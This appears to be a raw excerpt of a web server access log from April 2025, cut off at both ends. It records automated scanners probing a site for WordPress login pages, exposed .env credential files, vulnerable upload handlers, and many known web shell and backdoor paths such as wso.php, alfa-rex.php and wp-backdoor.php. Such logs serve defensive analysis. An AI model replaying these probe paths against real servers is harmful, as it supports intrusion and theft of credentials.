HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 51.210.183.228 - - [02/Apr/2025:16:48:17 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0" 196.251.72.179 - - [02/Apr/2025:16:56:15 -0400] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 43.130.228.73 - - [02/Apr/2025:17:02:05 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 31.14.75.31 - - [02/Apr/2025:19:26:00 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 85.10.204.252 - - [02/Apr/2025:21:31:28 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208" 2001:19f0:5:5252:5400:3ff:fea7:7a67 - - [02/Apr/2025:21:36:20 -0400] "GET / HTTP/1.1" 301 795 "http://www.google.com/" "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0" 80.211.189.112 - - [02/Apr/2025:22:01:34 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0" 84.239.48.20 - - [02/Apr/2025:22:49:17 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 145.220.91.19 - - [02/Apr/2025:23:11:09 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0" 182.42.105.85 - - [02/Apr/2025:23:18:24 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.130.102.7 - - [03/Apr/2025:00:29:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 195.20.18.175 - - [03/Apr/2025:01:08:07 -0400] "GET /assets/admin/plugins/jquery-file-upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 143.198.82.238 - - [03/Apr/2025:03:21:10 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 161.35.15.162 - - [03/Apr/2025:04:48:31 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [03/Apr/2025:04:48:40 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [03/Apr/2025:04:48:44 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [03/Apr/2025:04:48:53 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [03/Apr/2025:04:49:03 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [03/Apr/2025:04:49:25 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [03/Apr/2025:04:49:38 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [03/Apr/2025:04:49:47 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [03/Apr/2025:04:49:59 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [03/Apr/2025:04:50:12 -0400] "GET /wp-content/plugins/Core-Econ/upH.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [03/Apr/2025:04:50:23 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [03/Apr/2025:04:50:30 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [03/Apr/2025:04:50:45 -0400] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [03/Apr/2025:04:50:52 -0400] "GET /WSOEnigma.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [03/Apr/2025:04:51:00 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [03/Apr/2025:04:51:08 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [03/Apr/2025:04:51:20 -0400] "GET /wp-content/plugins/clara/clara.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 194.38.23.16 - - [03/Apr/2025:06:38:09 -0400] "GET /file-upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 170.106.35.187 - - [03/Apr/2025:07:11:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.117.225.255 - - [03/Apr/2025:07:44:22 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 185.117.225.255 - - [03/Apr/2025:07:44:23 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; BitSightBot/1.0)" 205.169.39.5 - - [03/Apr/2025:08:12:11 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" 165.154.227.239 - - [03/Apr/2025:08:16:49 -0400] "GET / HTTP/1.1" 301 795 "-" "Embarcadero URI Client/1.0" 106.119.167.146 - - [03/Apr/2025:08:51:31 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 170.9.235.232 - - [03/Apr/2025:09:14:19 -0400] "GET /media/system/js/core.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 170.9.235.232 - - [03/Apr/2025:09:14:27 -0400] "GET /wp-includes/js/jquery/jquery.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 18.221.239.67 - - [03/Apr/2025:09:42:59 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 66.160.181.53 - - [03/Apr/2025:11:50:44 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:41.0) Gecko/20100101 Firefox/41.0" 104.197.69.115 - - [03/Apr/2025:11:57:43 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36 Edge/12.246" 205.169.39.6 - - [03/Apr/2025:12:00:31 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" 2001:19f0:5:5252:5400:3ff:fea7:7a67 - - [03/Apr/2025:12:07:29 -0400] "GET / HTTP/1.1" 301 795 "http://www.google.com/" "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0" 196.251.84.40 - - [03/Apr/2025:12:28:37 -0400] "GET /.env HTTP/1.1" 301 795 "-" "NokiaN73-1/3.0649.0.0.1 Series60/3.0 Profile/MIDP2.0 Configuration/CLDC-1.1" 43.130.47.33 - - [03/Apr/2025:13:37:38 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 154.16.192.172 - - [03/Apr/2025:13:45:44 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 195.191.219.131 - - [03/Apr/2025:13:56:00 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.131 - - [03/Apr/2025:13:56:01 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 139.99.62.111 - - [03/Apr/2025:14:58:44 -0400] "GET /plugins/filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 165.154.226.167 - - [03/Apr/2025:15:16:59 -0400] "GET / HTTP/1.1" 301 795 "-" "Embarcadero URI Client/1.0" 3.142.123.254 - - [03/Apr/2025:15:20:51 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 3.142.123.254 - - [03/Apr/2025:15:20:52 -0400] "GET /key/ASWD56425CSA HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 139.59.119.11 - - [03/Apr/2025:15:50:26 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [03/Apr/2025:15:50:37 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [03/Apr/2025:15:50:42 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [03/Apr/2025:15:50:50 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [03/Apr/2025:15:50:58 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [03/Apr/2025:15:51:03 -0400] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 205.210.31.248 - - [03/Apr/2025:15:56:43 -0400] "GET / HTTP/1.1" 301 795 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com" 64.23.233.179 - - [03/Apr/2025:15:59:22 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 8.210.12.248 - - [03/Apr/2025:16:15:29 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3365.86 Safari/537.36" 139.59.119.11 - - [03/Apr/2025:16:56:33 -0400] "GET /heh.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [03/Apr/2025:16:56:51 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [03/Apr/2025:16:57:07 -0400] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 205.196.214.14 - - [03/Apr/2025:17:58:42 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0" 223.244.35.77 - - [03/Apr/2025:18:28:17 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 161.97.95.113 - - [03/Apr/2025:18:43:38 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 161.97.95.113 - - [03/Apr/2025:18:43:50 -0400] "GET /evil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 161.97.95.113 - - [03/Apr/2025:18:43:56 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 161.97.95.113 - - [03/Apr/2025:18:43:58 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 161.97.95.113 - - [03/Apr/2025:18:44:08 -0400] "GET /wp-backdoor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 161.97.95.113 - - [03/Apr/2025:18:44:16 -0400] "GET /wp-content/bk/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 161.97.95.113 - - [03/Apr/2025:18:44:28 -0400] "GET /as/function HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 161.97.95.113 - - [03/Apr/2025:18:44:38 -0400] "GET /wlwmanifest.xml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 192.42.116.212 - - [03/Apr/2025:19:09:49 -0400] "GET / HTTP/1.1" 301 795 "grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240" 2a03:2880:30ff:73:: - - [03/Apr/2025:19:36:37 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 43.128.67.187 - - [03/Apr/2025:20:18:59 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 194.5.82.47 - - [03/Apr/2025:20:40:28 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:40:33 -0400] "GET /termps.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:40:34 -0400] "GET /sck.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:40:35 -0400] "GET /ans.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:40:37 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:40:38 -0400] "GET /wp-content/plugins/Core-EconX/up.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:40:39 -0400] "GET /index4.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:40:41 -0400] "GET /wp-content/termps.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:40:42 -0400] "GET /rbh/log.ph HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:40:44 -0400] "GET /pwp-admin/network/login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:40:46 -0400] "GET /wander.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:40:47 -0400] "GET /fck.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:40:49 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:40:50 -0400] "GET /writeable.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:40:51 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:40:53 -0400] "GET /wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:40:55 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:40:56 -0400] "GET /.tmb/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:40:58 -0400] "GET /wp-content/themes/newsfeed-theme/bbh.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:40:59 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:00 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:02 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:03 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:05 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:06 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:07 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:09 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:10 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:12 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:13 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:15 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:17 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:18 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:19 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:21 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:22 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:24 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:26 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:28 -0400] "GET /wp-admin/css/colors/sHQwacY.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:30 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:31 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:33 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:34 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:35 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:37 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:38 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:39 -0400] "GET /blog/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:42 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:43 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:44 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:46 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:47 -0400] "GET /.well-known HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:48 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:50 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:51 -0400] "GET /en/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:53 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:55 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:56 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:57 -0400] "GET /bk/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:41:59 -0400] "GET 